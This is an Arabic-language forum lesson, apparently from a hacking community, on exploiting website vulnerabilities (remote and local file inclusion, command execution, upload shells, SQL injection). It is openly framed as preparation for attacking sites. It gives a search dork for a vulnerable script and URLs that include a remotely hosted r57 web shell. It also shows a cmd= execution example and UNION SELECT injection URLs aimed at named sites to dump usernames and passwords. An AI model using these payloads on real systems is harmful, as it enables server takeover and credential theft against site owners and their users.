كيف الاحوال جميعا

درس اليوم بشرح فيه بعض الثغرات

اللي تفيدنا لما نجي نستهدف موقع
ونلقي فيه الثغرة نعرف ايه هي وايه استثمارها


اولا نجي للثغرة المألوفه

remote file include

remote يعني تحكم
file يعني ملف
include يعني تشمل
اختصاراها r f i
يعني ملف للتحكمـ

ادراج ملف للتحكم

طيب للتحكم في ايه

اقولك في الموقع اللي عايزين نخترقوا

طيب ايه نوع الملف
بيكون شيل ------ هذ الشيل مرفوع علي استضافه بصيغة txt يتم ربطه بالموقع عن طريق الثغرة
للتحكم في الموقع والسيرفر كامل
---------------------
اوكـ نجيب ثغرة نطبق عليها

Dork:


كود:
"Powered by Kmita Tell Friend" "allinurl:/kmitat/"
..................................

طيب dork للي ما يعرفها يعني كود البحث عن الثغرة في مواقع البحث
واللي تحتها هذا هو الكود اللي بنبحث عنوا في غوغل مثلا حتي نري المواقع المصابه به

نجي للاستثمار او الاستغلال
بعض الكلمات اللي لما تراها تعرف انها استغلال
Example:
Expl:
Exploit:
Exploits:
Expl


كود:
http://www.xxx.com/kmitam/htmlcode.p...ttp://xxx.com/ txt?
نشرح المثال اللي فوق

http://www.xxx.com عنوان الموقع
ممكن يكون مكتوب في الثغر
kmitam
الاسكريبت المصاب

= لادراج الشيل

http://xxx.com/txt?؟




شيل لو تلاحظون علامة ال بأخر الشيل
حتي يتم طلب الملف ولابد من وجودها

طيب معانا الثغرة كيف نشغلها ونجيب من الاخر اقولكـ

كود:
http://[url]/kmitam/htmlcode.php?file=http://[shll]/ txt?
ثغرة الفايل انكلود بتسمح لنا بأدراج شيل علي الموقع المصاب بها

يعني لو انا عندي موقع اسموا
www.vbsilver.com
مركب به اسكريبت اسموا phpp هذا السكريبت به ثغرة من نوع ريموت فايل انكلود
استغلالها = ?index.php?gap=shll
طيب عشان اطبقها علي موقعي


كود:
www.vbsilver.com/index.php?gap=http://silveeer79.jeeran.com/r57.tx
t?
وهذا شيل روسي رافعوا علي استضافه مجانيه بصيغة txt
'طيب فيه عندنا شيل روسي c99
وشيل r57
وشل sniper-sa وشيلات كتيرة

-Local File Include
او ...Remote File Disclosure
اختصارها lfi
طبعا هي شبيهه بالفايل انكلود
لكنها تسمح بادراج وقراءة الملفات علي السيرفر المصاب بالثغرة

بتكون زي كدا
http://localhost/script/index.php?lfi
يعني رابط الموقع + السكريبت المصاب + الملف المصاب + تطيبق الاوامر
مثلا احنا عندنا ع الموقع داله اسمها get وعايزين نقرا الكونفيق تبعها
بيكون استغلالها زي كذا
http://localhost/mkportal/index.php?get=config.php
بمعني ان احنا امرنا السيرفر يقري لنا الكونفيق الموجود بملف get الموجود بالاسكريبت mkportal


النوع الثالث

remote command execution

عملها تطبيق الاوامر علي السيرفر مباشرة
طبعا راح نخصص دروس لاوامر اللينكس

مثال عليها

كود:
http://www.xxx.com/index.php?cmd=dir
نشرح المثال
هذا الموقع مصاب بثغرة الكوماند
استغلالها بيكون عرض اوامر اللينكس مباشرة علي الموقع المصاب
وهنا امرنا السيرفر بأحضار الملفات والمجلدات للموقع بالامر dir
بأمكاننا أمرة باي اوامر


النوع الرابع
Upload Shell


وهي ثغرة مراكز التحميل
ان وجدت بأمكاننا رفع ملفات خبيثه بصيغة php يعني نرفع الشيل ونضحك علي الموقع
ثغرة سهلها ولا تحتاج شرح

لكن بشرحها بالتفصيل فيما بعد


النوع الخامس

Remote SQL Injection

ثغرات خطيرة وانتشرت بكثرة هذة الايام
لان اغلب مبرمجين php يكتبون الان دوالهم بالسكيول والاتصال مع قواعد البيانات

ومهمتها سحب اليوزرات وقراءة الملفات
يعني حسب الثغرة المكتشفه بيكون النتيجه ممكن تجيب لنا باسورد المدير

مثال لها

http://www.milw0rm.com/exploits/6350

وهذا دورك البحث

d0rk :: "use your mind"
وهذا الاستغلال


كود:
http://www.ajhyip.com/demo/prime/article/comment.php?artid=5+union+select+1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8,9+from+members/*
او

كود:
http://www.ajhyip.com/demo/acme/article/comment.php?artid=5+union+select+1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8,9+from+members/*
طبعا بتضع الموقع المصاب
واضغط اوكـ

وهو بيطلع لك اليوزر نيمـ والباسورد اذا كان الموقع مصاب


تمني ما يكون فيه غموض

هذا شرح مبسط لبعض الثغرات اللي راح تقابلك كتير

وضعتوا لكمـ قبل ان ابدأ باستهداف اختراق المواقع
حتي نعرف ازاي نستغل اي ثغرة في الاختراق

----------------

راجع الدرس اكتر من مرة فهو مدخلك للدر س القادمـ